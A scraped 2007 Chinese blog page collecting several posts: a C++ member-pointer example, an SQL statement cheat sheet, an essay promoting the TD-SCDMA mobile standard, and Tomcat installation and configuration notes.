         确实,成员指针本来就不是一种很常用的指针。不过,在某些时候还是很有用处的。我们先来看看下面的一个函数:
      int sum(MyStruct* objs, int MyStruct::* pm, int count)
      {
          
    int result = 0
    ;
          
    for(int i = 0; i < count; ++
    i)
              result 
    += objs[i].*
    pm;
          
    return
     result;
      }
         
         这个函数的功能是什么,你能看明白吗?它的功能就是,给定count个MyStruct结构的指针,计算出给定成员数据的总和。有点拗口对吧?看看下面的程序,你也许就明白了:
         
         MyStruct me[10=
         {
          {
    1,2},{3,4},{5,6},{7,8},{9,10},{11,12},{13,14},{15,16},{17,18},{19,20}
         };
         
         
    int sum_value = sum(me, &MyStruct::value, 10
    );
         
    //计算10个MyStruct结构的value成员的总和: sum_value 值 为 110     (2+4+6+8++20)

         
         
    int sum_key = sum(me, &MyStruct::key, 10
    );
         
    //
    计算10个MyStruct结构的key成员的总和:   sum_key 值 为 100       (1+3+5+7++19)
       
         
         也许,你觉得用常规指针也可以做到,而且更易懂。Ok,没问题:
         int sum(MyStruct* objs, int count)
         {
          
    int result = 0
    ;
          
    for(int i = 0; i < count; ++
    i)
           result 
    +=
     objs[i].value;
          
    return
     result;
         }

         你是想这么做吗?但这么做,你只能计算value,如果要算key的话,你要多写一个函数。有多少个成员需要计算的话,你就要写多少个函数,多麻烦啊。
  • SQL语句大全

    xiaofishy 发布于 2007-04-01 11:50:48

     

    SQL语句大全

    --语 句 功 能
    --数据操作
    SELECT --从数据库表中检索数据行和列
    INSERT --向数据库表添加新数据行
    DELETE --从数据库表中删除数据行
    UPDATE --更新数据库表中的数据
    --数据定义
    CREATE TABLE --创建一个数据库表
    DROP TABLE --从数据库中删除表
    ALTER TABLE --修改数据库表结构
    CREATE VIEW --创建一个视图
    DROP VIEW --从数据库中删除视图
    CREATE INDEX --为数据库表创建一个索引
    DROP INDEX --从数据库中删除索引
    CREATE PROCEDURE --创建一个存储过程


    DROP PROCEDURE --从数据库中删除存储过程
    CREATE TRIGGER --创建一个触发器
    DROP TRIGGER --从数据库中删除触发器
    CREATE SCHEMA --向数据库添加一个新模式
    DROP SCHEMA --从数据库中删除一个模式
    CREATE DOMAIN --创建一个数据值域
    ALTER DOMAIN --改变域定义
    DROP DOMAIN --从数据库中删除一个域
    --数据控制
    GRANT --授予用户访问权限
    DENY --拒绝用户访问
    REVOKE --解除用户访问权限
    --事务控制
    COMMIT --结束当前事务
    ROLLBACK --中止当前事务
    SET TRANSACTION --定义当前事务数据访问特征
    --程序化SQL
    DECLARE --为查询设定游标
    EXPLAN --为查询描述数据访问计划
    OPEN --检索查询结果打开一个游标
    FETCH --检索一行查询结果
    CLOSE --关闭游标
    PREPARE --为动态执行准备SQL 语句
    EXECUTE --动态地执行SQL 语句
    DESCRIBE --描述准备好的查询
    ---局部变量
    declare @id char(10)
    --set @id = '10010001'
    select @id = '10010001'

    ---全局变量
    ---必须以@@开头



    --IF ELSE
    declare @x int @y int @z int
    select @x = 1 @y = 2 @z=3
    if @x > @y
    print 'x > y' --打印字符串'x > y'
    else if @y > @z
    print 'y > z'
    else print 'z > y'



    --CASE
    use pangu
    update employee
    set e_wage =
    case
    when job_level = ’1’ then e_wage*1.08
    when job_level = ’2’ then e_wage*1.07
    when job_level = ’3’ then e_wage*1.06
    else e_wage*1.05
    end



    --WHILE CONTINUE BREAK
    declare @x int @y int @c int
    select @x = 1 @y=1
    while @x < 3
    begin
    print @x --打印变量x 的值
    while @y < 3
    begin
    select @c = 100*@x + @y
    print @c --打印变量c 的值
    select @y = @y + 1
    end
    select @x = @x + 1
    select @y = 1
    end



    --WAITFOR
    --例 等待1 小时2 分零3 秒后才执行SELECT 语句
    waitfor delay ’01:02:03’
    select * from employee
    --例 等到晚上11 点零8 分后才执行SELECT 语句
    waitfor time ’23:08:00’
    select * from employee




    ***SELECT***



    select *(列名) from table_name(表名) where column_name operator value
    ex:(宿主)
    select * from stock_information where stockid = str(nid)
    stockname = 'str_name'
    stockname like '% find this %'
    stockname like '[a-zA-Z]%' --------- ([]指定值的范围)
    stockname like '[^F-M]%' --------- (^排除指定范围)
    --------- 只能在使用like关键字的where子句中使用通配符)
    or stockpath = 'stock_path'
    or stocknumber < 1000
    and stockindex = 24
    not stock*** = 'man'
    stocknumber between 20 and 100
    stocknumber in(10,20,30)
    order by stockid desc(asc) --------- 排序,desc-降序,asc-升序
    order by 1,2 --------- by列号
    stockname = (select stockname from stock_information where stockid = 4)
    --------- 子查询
    --------- 除非能确保内层select只返回一个行的值,
    --------- 否则应在外层where子句中用一个in限定符
    select distinct column_name form table_name --------- distinct指定检索独有的列值,不重复
    select stocknumber ,"stocknumber + 10" = stocknumber + 10 from table_name
    select stockname , "stocknumber" = count(*) from table_name group by stockname
    --------- group by 将表按行分组,指定列中有相同的值
    having count(*) = 2 --------- having选定指定的组



    select *
    from table1, table2
    where table1.id *= table2.id -------- 左外部连接,table1中有的而table2中没有得以null表示
    table1.id =* table2.id -------- 右外部连接



    select stockname from table1
    union [all] ----- union合并查询结果集,all-保留重复行
    select stockname from table2



    ***insert***



    insert into table_name (Stock_name,Stock_number) value ("xxx","xxxx")
    value (select Stockname , Stocknumber from Stock_table2)---value为select语句



    ***update***



    update table_name set Stockname = "xxx" [where Stockid = 3]
    Stockname = default
    Stockname = null
    Stocknumber = Stockname + 4



    ***delete***



    delete from table_name where Stockid = 3
    truncate table_name ----------- 删除表中所有行,仍保持表的完整性
    drop table table_name --------------- 完全删除表



    ***alter table*** --- 修改数据库表结构



    alter table database.owner.table_name add column_name char(2) null .....
    sp_help table_name ---- 显示表已有特征
    create table table_name (name char(20), age smallint, lname varchar(30))
    insert into table_name select ......... ----- 实现删除列的方法(创建新表)
    alter table table_name drop constraint Stockname_default ---- 删除Stockname的default约束



    ***function(/*常用函数*/)***



    ----统计函数----
    AVG --求平均值
    COUNT --统计数目
    MAX --求最大值
    MIN --求最小值
    SUM --求和



    --AVG
    use pangu
    select avg(e_wage) as dept_avgWage
    from employee
    group by dept_id
    --MAX
    --求工资最高的员工姓名
    use pangu
    select e_name
    from employee
    where e_wage =
    (select max(e_wage)
    from employee)



    --STDEV()
    --STDEV()函数返回表达式中所有数据的标准差



    --STDEVP()
    --STDEVP()函数返回总体标准差



    --VAR()
    --VAR()函数返回表达式中所有值的统计变异数



    --VARP()
    --VARP()函数返回总体变异数



    ----算术函数----



    /***三角函数***/
    SIN(float_expression) --返回以弧度表示的角的正弦
    COS(float_expression) --返回以弧度表示的角的余弦
    TAN(float_expression) --返回以弧度表示的角的正切
    COT(float_expression) --返回以弧度表示的角的余切
    /***反三角函数***/
    ASIN(float_expression) --返回正弦是FLOAT 值的以弧度表示的角
    ACOS(float_expression) --返回余弦是FLOAT 值的以弧度表示的角
    ATAN(float_expression) --返回正切是FLOAT 值的以弧度表示的角
    ATAN2(float_expression1,float_expression2)
    --返回正切是float_expression1 /float_expres-sion2的以弧度表示的角
    DEGREES(numeric_expression)
    --把弧度转换为角度返回与表达式相同的数据类型可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    RADIANS(numeric_expression) --把角度转换为弧度返回与表达式相同的数据类型可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    EXP(float_expression) --返回表达式的指数值
    LOG(float_expression) --返回表达式的自然对数值
    LOG10(float_expression)--返回表达式的以10 为底的对数值
    SQRT(float_expression) --返回表达式的平方根
    /***取近似值函数***/
    CEILING(numeric_expression) --返回>=表达式的最小整数返回的数据类型与表达式相同可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    FLOOR(numeric_expression) --返回<=表达式的最小整数返回的数据类型与表达式相同可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    ROUND(numeric_expression) --返回以integer_expression 为精度的四舍五入值返回的数据
    --类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
    ABS(numeric_expression) --返回表达式的绝对值返回的数据类型与表达式相同可为
    --INTEGER/MONEY/REAL/FLOAT 类型
    SIGN(numeric_expression) --测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型
    --与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
    PI() --返回值为π 即3.1415926535897936
    RAND([integer_expression]) --用任选的[integer_expression]做种子值得出0-1 间的随机浮点数




    ----字符串函数----
    ASCII() --函数返回字符表达式最左端字符的ASCII 码值
    CHAR() --函数用于将ASCII 码转换为字符
    --如果没有输入0 ~ 255 之间的ASCII 码值CHAR 函数会返回一个NULL 值
    LOWER() --函数把字符串全部转换为小写
    UPPER() --函数把字符串全部转换为大写
    STR() --函数把数值型数据转换为字符型数据
    LTRIM() --函数把字符串头部的空格去掉
    RTRIM() --函数把字符串尾部的空格去掉
    LEFT(),RIGHT(),SUBSTRING() --函数返回部分字符串
    CHARINDEX(),PATINDEX() --函数返回字符串中某个指定的子串出现的开始位置
    SOUNDEX() --函数返回一个四位字符码
    --SOUNDEX函数可用来查找声音相似的字符串但SOUNDEX函数对数字和汉字均只返回0 值
    DIFFERENCE() --函数返回由SOUNDEX 函数返回的两个字符表达式的值的差异
    --0 两个SOUNDEX 函数返回值的第一个字符不同
    --1 两个SOUNDEX 函数返回值的第一个字符相同
    --2 两个SOUNDEX 函数返回值的第一二个字符相同
    --3 两个SOUNDEX 函数返回值的第一二三个字符相同
    --4 两个SOUNDEX 函数返回值完全相同




    QUOTENAME() --函数返回被特定字符括起来的字符串
    /*select quotename('abc', '{') quotename('abc')
    运行结果如下
    ----------------------------------{
    {abc} [abc]*/



    REPLICATE() --函数返回一个重复character_expression 指定次数的字符串
    /*select replicate('abc', 3) replicate( 'abc', -2)
    运行结果如下
    ----------- -----------
    abcabcabc NULL*/



    REVERSE() --函数将指定的字符串的字符排列顺序颠倒
    REPLACE() --函数返回被替换了指定子串的字符串
    /*select replace('abc123g', '123', 'def')
    运行结果如下
    ----------- -----------
    abcdefg*/



    SPACE() --函数返回一个有指定长度的空白字符串
    STUFF() --函数用另一子串替换字符串指定位置长度的子串




    ----数据类型转换函数----
    CAST() 函数语法如下
    CAST() (<expression> AS <data_ type>[ length ])
    CONVERT() 函数语法如下
    CONVERT() (<data_ type>[ length ], <expression> [, style])



    select cast(100+99 as char) convert(varchar(12), getdate())
    运行结果如下
    ------------------------------ ------------
    199 Jan 15 2000



    ----日期函数----
    DAY() --函数返回date_expression 中的日期值
    MONTH() --函数返回date_expression 中的月份值
    YEAR() --函数返回date_expression 中的年份值
    DATEADD(<datepart> ,<number> ,<date>)
    --函数返回指定日期date 加上指定的额外日期间隔number 产生的新日期
    DATEDIFF(<datepart> ,<number> ,<date>)
    --函数返回两个指定日期在datepart 方面的不同之处
    DATENAME(<datepart> , <date>) --函数以字符串的形式返回日期的指定部分
    DATEPART(<datepart> , <date>) --函数以整数值的形式返回日期的指定部分
    GETDATE() --函数以DATETIME 的缺省格式返回系统当前的日期和时间



    ----系统函数----
    APP_NAME() --函数返回当前执行的应用程序的名称
    COALESCE() --函数返回众多表达式中第一个非NULL 表达式的值
    COL_LENGTH(<'table_name'>, <'column_name'>) --函数返回表中指定字段的长度值
    COL_NAME(<table_id>, <column_id>) --函数返回表中指定字段的名称即列名
    DATALENGTH() --函数返回数据表达式的数据的实际长度
    DB_ID(['database_name']) --函数返回数据库的编号
    DB_NAME(database_id) --函数返回数据库的名称
    HOST_ID() --函数返回服务器端计算机的名称
    HOST_NAME() --函数返回服务器端计算机的名称
    IDENTITY(<data_type>[, seed increment]) [AS column_name])
    --IDENTITY() 函数只在SELECT INTO 语句中使用用于插入一个identity column列到新表中
    /*select identity(int, 1, 1) as column_name
    into newtable
    from oldtable*/
    ISDATE() --函数判断所给定的表达式是否为合理日期
    ISNULL(<check_expression>, <replacement_value>) --函数将表达式中的NULL 值用指定值替换
    ISNUMERIC() --函数判断所给定的表达式是否为合理的数值
    NEWID() --函数返回一个UNIQUEIDENTIFIER 类型的数值
    NULLIF(<expression1>, <expression2>)
    --NULLIF 函数在expression1 与expression2 相等时返回NULL 值若不相等时则返回expression1 的值







    sql中的保留字



    action add aggregate all
    alter after and as
    asc avg avg_row_length auto_increment
    between bigint bit binary
    blob bool both by
    cascade case char character
    change check checksum column
    columns comment constraint create
    cross current_date current_time current_timestamp
    data database databases date
    datetime day day_hour day_minute
    day_second dayofmonth dayofweek dayofyear
    dec decimal default delayed
    delay_key_write delete desc describe
    distinct distinctrow double drop
    end else escape escaped
    enclosed enum explain exists
    fields file first float
    float4 float8 flush foreign
    from for full function
    global grant grants group
    having heap high_priority hour
    hour_minute hour_second hosts identified
    ignore in index infile
    inner insert insert_id int
    integer interval int1 int2
    int3 int4 int8 into
    if is isam join
    key keys kill last_insert_id
    leading left length like
    lines limit load local
    lock logs long longblob
    longtext low_priority max max_rows
    match mediumblob mediumtext mediumint
    middleint min_rows minute minute_second
    modify month monthname myisam
    natural numeric no not
    null on optimize option
    optionally or order outer
    outfile pack_keys partial password
    precision primary procedure process
    processlist privileges read real
    references reload regexp rename
    replace restrict returns revoke
    rlike row rows second
    select set show shutdown
    smallint soname sql_big_tables sql_big_selects
    sql_low_priority_updates sql_log_off sql_log_update sql_select_limit
    sql_small_result sql_big_result sql_warnings straight_join
    starting status string table
    tables temporary terminated text
    then time timestamp tinyblob
    tinytext tinyint trailing to
    type use using unique
    unlock unsigned update usage
    values varchar variables varying
    varbinary with write when
    where year year_month zerofill

  • TD-SCDMA:中国崛起的引擎

    leaf840404 发布于 2007-04-02 11:24:27

    TD-SCDMA:大国崛起的引擎
    自从我国第一次自行提出并主导完成的第三代移动通信国际技术标准TD-SCDMA(以下简称TD)问世以来,便引起世人的极大关注。随着TD产业化步伐的加快,业界乃至全社会再次把目光投向TD。虽然业内人士对于TD发展的重大意义已多有立论,笔者这里从中国作为一个大国崛起的角度来阐释大力发展TD的战略意义。

    科学技术创新是大国崛起的脊梁

    前段时间,央视播放的大型记录片《大国崛起》,浓缩了500年的世界历史,客观公允地解读了葡萄牙、西班牙、荷兰、英国、法国、德国、日本、俄罗斯和美国等9国的崛起之路。在该片中人们不难发现,科学技术的创新是贯穿在上述9国崛起过程中的一条至关重要的主线——科学技术创新是大国崛起的脊梁。同时,也再次印证了邓小平同志的那句名言:科学技术是第一生产力。

    以荷兰为例,它在大力发展海外殖民和海外贸易战略思想的指导下,开展了大规模的航海及相关技术创新。荷兰人利用新技术对商船进行了改进,大大降低了航运成本,从而取得了竞争优势,打败了其他竞争对手。而其对于鲱鱼极其有效的“一刀切”干制技术的发明,又使其产品能够远销海外,从而有力地支撑起了其贸易大国战略。再看英国,瓦特蒸汽机的发明和广泛使用,使其因此成为人类历史上第一个工业国家,并领导发起了一场席卷全球的工业化大生产革命。随后,法国、德国、日本和俄国等工业革命中的后发国家,在工业革命进程中,对于科学技术的引进和开发也是不遗余力,终于借此跻身于世界一流强国之列。后期的美国,更是因为其在科学技术上的重大成就,率先引领世界进入了二次工业革命时代。电气化作为核心技术对世界产生了比机械化更大的影响,美国也因此一举成为世界头号强国。美国不仅抢占了二次工业革命的桥头堡,如今更是牢牢掌握着信息技术这一第三次工业革命核心技术的领导地位。由于其在科学技术开发上面的先进地位,美国在21 世纪中依然会是一个强大无比的国家。此外,二战后的日本能够从废墟中迅速崛起,同样也得益于其对科学技术发明的无限热情,这已经成为日本经济强劲发展的公开秘密之一。

    大力发展TD是建设创新型国家的一个突破口

    近年来,胡锦涛总书记等中央领导反复强调自主创新对落实科学发展观和经济结构调整的重要作用,作出了建设创新型国家的战略部署。实际上,作为一个大国,中国要想和平崛起,保持持续的发展动力,自主创新是一个必然的选择。TD作为我国自主研发的第三代移动通信国际技术标准,就是建设创新型国家的一个突破口。

    众所周知,信息产业已经成为我国国民经济的支柱产业和先导产业。信息产业对于国民经济的推动主要表现在:通过有效的信息传递大大降低交易成本,从而极大地提高生产率。以美国为例,自20世纪70年代中后期开始,随着信息通信技术的不断发展以及在各产业中的广泛应用,美国经济在20世纪90年代经历了110 个月历史上最长的繁荣时期。就我国而言,在过去的几年中,信息产业的规模持续扩大,在国民经济中的地位也越来越重要。2006年,我国信息产业共实现销售收入4.75万亿元,比2005年增长23.7%;增加值1.1万亿元,增长22.1%。产业规模继续在国民经济各行业中位居领先。全行业增加值占GDP 的比重为5.25%,比2005年提高了0.31个百分点,对其增长的贡献率超过7%;占全国工业增加值的比重超过10%,对其增长的贡献率达到15%以上。在信息产业中,移动通信又是增长最快的领域。1997年7月17日,我国第1000万个移动电话用户诞生,中国移动通信用了不到10年时间走完了固定电话110年的发展历程。10年后,即2006年年底,中国的移动通信用户数就超过了4.4亿,跃居世界第一位,全年收入超过3000亿元。

    虽然我国的移动通信事业获得了巨大发展,但是由于在第一代和第二代移动通信技术方面,我们没有自己的技术标准,只能选择走以市场换技术的思路,付出了极其巨大的经济代价。我国的第一代模拟移动通信系统发展了约600多万用户,当时从基站、交换机到手机全是从国外买来的。据估计,至少有2500亿元流进了国外公司的腰包。到了第二代数字移动通信发展阶段,我国在庞大的GSM设备市场中仅仅获取了5%的微薄份额,又有将近5000亿元流到了国外。

    更为关键的是,按照世界移动通信的发展规律,几乎是每10年发展一代,我国在移动通信发展史上,因为缺乏核心技术知识产权,丢失了第一代,错过了第二代,如果在第三代移动通信上也不能取得市场突破,那么我国移动通信产业就至少要再等10年甚至更长时间,才可能有翻身的机会。这不仅对于我国作为世界最大的移动通信市场来说是难以接受的,而且这种状况也不符合党中央有关建设创新型国家的战略要求。因此,在这种时代背景下,在信息产业领域大力支持发展我国具有自主知识产权的TD,对于推动国民经济发展和建设创新型国家而言都具有极其重要的战略意义。

    TD有望改变世界移动通信市场的游戏规则,并形成强大的产业群体

    TD作为我国在移动通信领域第一次自行提出的国际技术标准,将完全改变我国目前以市场换技术的被动局面,实现对世界移动通信市场游戏规则的再改造,走上一条内涵式发展之路。同时,TD的发展还将发挥出巨大的产业带动效应,形成一个庞大的产业群体,从而带动国民经济的跨越式发展。

    移动通信产业是一个“跑马圈地”效应十分显著的产业领域,一种技术一旦在市场中得到推广,并被确定为事实标准,技术知识产权的拥有者就会在技术创新、设备演进以及市场占有等方面长期占据优势地位,并自然形成对产业发展的强大号召力和牵引力。而后进入者只能采取技术跟随路线,核心技术创新余地很小。而TD的出现,则使我国的移动通信产业实现了由技术跟进到技术创新的彻底变革,可以彻底摆脱对于国外技术和产品路径的依赖,真正成为市场竞争的主体,从而最终改变世界移动通信市场的游戏规则。

    由于TD具有强大的渗透力,它的发展还将发挥出强大的产业带动效应,形成一个庞大的具有自主特征的产业群体,对我国高科技领域成功实现整体“赶超战略”发挥出先导作用。在横向上,TD基于突出的技术和运营优势,不仅可以独立组网,实现全国覆盖,而且因具有TDD(时分双工)模式的特点,可以在专网、数字集群等业务领域具有广阔的发展前景。在纵向上,由于3C技术的融合和“三网融合”趋势的加速,TD的贡献就绝不限于移动通信产业,其对半导体、精密仪器制造、软件、芯片、原材料、系统集成和电子元器件等领域的行业辐射力,将使我国历史上首次有机会以自己提出的国际标准为依托,以自主知识产权为纽带,打造一个不受制于任何外部力量的TD产业链,并成为我国经济增长的新亮点。美国经济学家罗斯托在用经济起飞的概念,讨论一个国家从落后的传统社会向现代社会转变时曾指出:“起飞的本质在于部门扩张及其扩散效应。”21世纪的经济增长更多地取决于知识、技术和观念的传播与扩散过程。而以TD为平台的产业带动、技术渗透与扩散,必将对中国经济社会的跨越式发展产生巨大的推动作用。有专家预计,我国第三代移动通信市场的规模将至少在1万亿元以上,考虑到产业链带动比例的作用,TD将对GDP产生18万亿元的贡献。

    TD对其他产业的自主技术创新具有重大的示范效应

    TD是我国为数不多的经历了标准研究、提交、商用产品开发和产业化测试等各个环节的技术标准,其“政府引导和支持,企业自发以产业联盟形式推动发展”的创新模式和经验,对于我国其他产业的高新技术自主创新而言弥足珍贵。

    TD的成功充分表明,高新技术的自主创新需要政府从战略高度予以重视和支持。TD自诞生之日起就历经坎坷,就不断遭到某些方面的非难——有人对其技术先进性表示怀疑;有人对其独立组网的能力持有疑虑;有人批评其开发费用过大,不如直接采用WCDMA或CDMA2000标准,等等。然而,我国政府借鉴欧洲空客的开发经验,从战略高度看待TD的发展工作,在政策、资金等方面给予它以大力的支持。尤其是信产部、科技部和国家发改委三大部委对TD付出了极大的努力与无限的耐心,当全球各国都在大面积发放第三代移动通信运营商牌照时,他们顶住了来自各个方面的压力,为本土企业自主开发的第三代移动通信国际技术标准争取到了最宝贵的时间。离开政府的高度重视和大力支持,TD难以实现产业化的进程。

    TD的发展还表明,高新技术的开发更需要整个产业链的共同努力,这样才能为产业化奠定良好基础。TD最初是大唐一家企业在开发,但由于力量有限,所以进度非常慢。穷则思,思则变,变则通,通则久。为了克服这一难题,2002年10月30日,大唐电信、南方高科、华立、华为、联想、中兴通讯、中国电子、中国普天等8家中国通信设备生产商结成了TD产业联盟,此后TD的进展开始大幅提速。同时,在TD的研发和产业化进程中,产业联盟还坚持技术开放的原则,吸引了一批跨国企业的实质性参与,国际合作进一步深化。在TD基站、核心网、终端、芯片、测试仪表等各个领域,国内企业与跨国公司积极开展合作,如大唐与上海贝尔阿尔卡特、ADI,华为与西门子,中兴与爱立信,普天与诺基亚,大唐、飞利浦、三星、摩托罗拉合资成立T3G,普天、大唐、迪比特、TI、LG、诺基亚合资成立凯明,以及泰克、安捷伦、罗德施瓦茨、安立等跨国仪表制造企业的加入,都标志着围绕TD技术产业化的国际合作进一步向纵深发展。跨国公司的加入在全方位推动TD产业化进程的同时,也为将来相关技术和产品进入国际市场奠定了良好基础。

    纵观世界各大国崛起的历史,可以让我们得出这样的结论,即“科学技术创新是大国崛起的脊梁”。在党中央大力实施建设创新型国家战略的时代背景下,TD带给我们的绝不仅仅是移动通信核心技术上的一次突破,它将如“神舟”飞船一样,重塑民族的自信心——它吹响了中国在通信行业领域赶超一流发达国家的号角,在构建世界移动通信产业新秩序和全面带动中国高新技术产业整体飞跃的过程中,成为中国崛起的一大引擎。
  • 完整图解 Tomcat 5.0.28 安装笔记(转自ChinaITLab.com)

    overn 发布于 2007-04-03 09:17:34

    完整图解 Tomcat 5.0.28 安装笔记

        一、准备工作
      在开始安装之前,先准备J2SDK和TOMCAT两个软件,如果已经安装了J2SDK,就只需TOMCAT即可。
      
      笔者使用的软件如下:
      
      Windows 2000 Advance Server + SP4
      J2SDK v1.4.2_04 - http://java.sun.com/j2se/1.4.2/download.html
      TOMCAT v5.0.28 - http://apache.linuxforum.net/dist/jakarta/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.exe
      
      二、安装J2SDK
      安装很简单,只需双击下载的文件,笔者选择安装在d:\j2sdk1.4.2_04目录下。
      
      设置环境变量,方法如下:
      
      右击“我的电脑”==》属性==》高级==》环境变量==》新建...
      
      变量名:JAVA_HOME
      变量值:d:\j2sdk1.4.2_04
      
      三、安装TOMCAT
      运行jakarta-tomcat-5.0.28.exe 按照提示安装,偶这里选择了Service,就是作为Windows服务来运行。
      
     

      如果要改变安装路径,可以在这个步骤操作,偶这里选择安装在D:\Tomcat 5.0
      
     

      在这里设置TOMCAT使用的端口以及WEB管理界面用户名和密码,请确保该端口未被其他程序占用
      
     

      选择J2SDK的安装路径,安装程序会自动搜索,如果没有正确显示,则可以手工修改,偶这里改为d:\j2sdk1.4.2_04
      
     

      接下来就开始拷贝文件了,成功安装后,程序会提示启动tomcat并查看readme文档。
      
      Tomcat正常启动后会在系统栏加载图标。
      
     

      在图标上右键鼠标可以看到一些设置项目
      
     

      点击Configure...或者双击图标可看到如下显示,选择Startup type为automatic自动启动,这样每次开机后就会自动运行TOMCAT。
      另外也可在这个界面点击start或stop按钮来控制tomcat的运行。
      
     

      四、测试
      至此安装与配置都已完成,打开浏览器输入:http://localhost:8080即可看到TOMCAT的相关信息
      
     

      
      五、备注
      由于偶将TOMCAT作为service方式安装,所以CATALINA_HOME环境变量也没设过,如果读者不是按照这种方式请设置一个系统环境变量,设置方法同J2SDK。
      变量名:CATALINA_HOME
      变量值:d:\Tomcat 5.0
      另外可再增加一个环境变量
      变量名:CLASSPATH
      变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tool.jar;%JAVA_HOME%\lib\tools.jar;%CATALINA_HOME%\common\lib\servlet-api.jar;%CATALINA_HOME%\common\lib\jsp-api.jar
      也是因为service安装的原因,笔者在执行一些程序的时候会出现如下错误信息:
      Unable to find a javac compiler; com.sun.tools.javac.Main is not on the classpath. Perhaps JAVA_HOME does not point to the JDK
      错误信息是没有设置过JAVA_HOME环境变量,读者也可能碰到过这个问题,明明设置过这个环境变量,在服务里启动就会出错,但是在命令行下输入D:\Tomcat 5.0\bin\startup.bat启动却能运行,笔者找了一下原因,原来在服务里启动没有读取JAVA_HOME这个环境变量,而是在配置里定义这个环境变量的,于是偶在Java Options里加入了一句:-Djava.home=d:\j2sdk1.4.2_04,再次启动TOMCAT就OK了,参照下图:

  • Tomcat简介

    xiangshizu 发布于 2007-04-03 10:50:38

    一、Tomcat背景
      自从JSP发布之后,推出了各式各样的JSP引擎。Apache Group在完成GNUJSP1.0的开发以后,开始考虑在SUN的JSWDK基础上开发一个可以直接提供Web服务的JSP服务器,当然同时也支持Servlet, 这样Tomcat就诞生了。Tomcat是jakarta项目中的一个重要的子项目,其被JavaWorld杂志的编辑选为2001年度最具创新的java产品,同时它又是sun公司官方推荐的servlet和jsp容器,因此其越来越多的受到软件公司和开发人员的喜爱。servlet和jsp的最新规范都可以在tomcat的新版本中得到实现。其次,Tomcat是完全免费的软件,任何人都可以从互联网上自由地下载。Tomcat与Apache的组合相当完美。

    二、Tomcat目录
    tomcat
    |---bin Tomcat:存放启动和关闭tomcat脚本;
    |---conf Tomcat:存放不同的配置文件(server.xml和web.xml);
    |---doc:存放Tomcat文档;
    |---lib/japser/common:存放Tomcat运行需要的库文件(JARS);
    |---logs:存放Tomcat执行时的LOG文件;
    |---src:存放Tomcat的源代码;
    |---webapps:Tomcat的主要Web发布目录(包括应用程序示例);
    |---work:存放jsp编译后产生的class文件;

    三、Tomcat类加载
    Bootstrap($JAVA_HOME/jre/lib/ext/*.jar)
    System($CLASSPATH/*.class和指定的jar)
    Common($CATALINA_HOME/common 下的classes,lib,endores三个子目录)
    Catalina ($CATALINA_HOME/server/下的classes和lib目录仅对Tomcat可见)
    &Shared($CATALINA_HOME/shared/下的classes和lib目录以及$CATALINA_HOME/lib目录)仅对Web应用程序可见,对Tomcat不可见WebApp($WEBAPP/Web-INF/*仅对该WEB应用可见classes/*.class lib/*.jar)

    加载类和资源的顺序为:
    1、/Web-INF/classes
    2、/Web-INF/lib/*.jar
    3、Bootstrap
    4、System
    5、$CATALINA_HOME/common/classes
    6、$CATALINA_HOME/common/endores/*.jar
    7、$CATALINA_HOME/common/lib/*.jar
    8、$CATALINA_HOME/shared/classes
    9、$CATALINA_HOME/shared/lib/*.jar

    四、server.xml配置简介:
    下面讲述这个文件中的基本配置信息,更具体的配置信息请参考tomcat的文档:
    server:
    1、port 指定一个端口,这个端口负责监听关闭tomcat的请求
    2、shutdown 指定向端口发送的命令字符串
    service:
    1、name 指定service的名字
    Connector (表示客户端和service之间的连接):
    1、port 指定服务器端要创建的端口号,并在这个断口监听来自客户端的请求
    2、minProcessors 服务器启动时创建的处理请求的线程数
    3、maxProcessors 最大可以创建的处理请求的线程数
    4、enableLookups 如果为true,则可以通过调用request.getRemoteHost()进行DNS查
    询来得到远程客户端的实际主机名,若为false则不进行DNS查询,而是返回其ip
    地址
    5、redirectPort 指定服务器正在处理http请求时收到了一个SSL传输请求后重定向的
    端口号
    6、acceptCount 指定当所有可以使用的处理请求的线程数都被使用时,可以放到处理
    队列中的请求数,超过这个数的请求将不予处理
    7、connectionTimeout 指定超时的时间数(以毫秒为单位)
    Engine (表示指定service中的请求处理机,接收和处理来自Connector的请求):
    1、defaultHost 指定缺省的处理请求的主机名,它至少与其中的一个host元素的name
    属性值是一样的
    Context (表示一个web应用程序):
    1、docBase 应用程序的路径或者是WAR文件存放的路径
    2、path 表示此web应用程序的url的前缀,这样请求的url为
    http://localhost:8080/path/****
    3、reloadable 这个属性非常重要,如果为true,则tomcat会自动检测应用程序的
    /WEB-INF/lib 和/WEB-INF/classes目录的变化,自动装载新的应用程序,我们可
    以在不重起tomcat的情况下改变应用程序
    host (表示一个虚拟主机):
    1、name 指定主机名
    2、appBase 应用程序基本目录,即存放应用程序的目录
    3、unpackWARs 如果为true,则tomcat会自动将WAR文件解压,否则不解压,直接
    从WAR文件中运行应用程序
    Logger (表示日志,调试和错误信息):
    1、className 指定logger使用的类名,此类必须实现org.apache.catalina.Logger 接口
    2、prefix 指定log文件的前缀
    3、suffix 指定log文件的后缀
    4、timestamp 如果为true,则log文件名中要加入时间,如下
    例:localhost_log.2001-10-04.txt
    Realm (表示存放用户名,密码及role的数据库):
    1、className 指定Realm使用的类名,此类必须实现org.apache.catalina.Realm接口
    Valve (功能与Logger差不多,其prefix和suffix属性解释和Logger 中的一样):
    1、className 指定Valve使用的类名,如用org.apache.catalina.valves.AccessLogValve
    类可以记录应用程序的访问信息
    directory(指定log文件存放的位置):
    1、pattern 有两个值,common方式记录远程主机名或ip地址,用户名,日期,第一行
    请求的字符串,HTTP响应代码,发送的字节数。combined方式比common方式记
    录的值更多
  • Tomcat下JSP、Servlet和JavaBean配置

    xiangshizu 发布于 2007-04-03 10:55:49

    http://www.chinaitlab.com/www/techspecial/tomcat/(tomcat参考学习)

    经常看到jsp的初学者问tomcat下如何配置jsp、servlet和bean的问题,于是总结了一下如何tomcat下配置jsp、servlet和ben,希望对那些初学者有所帮助。
      
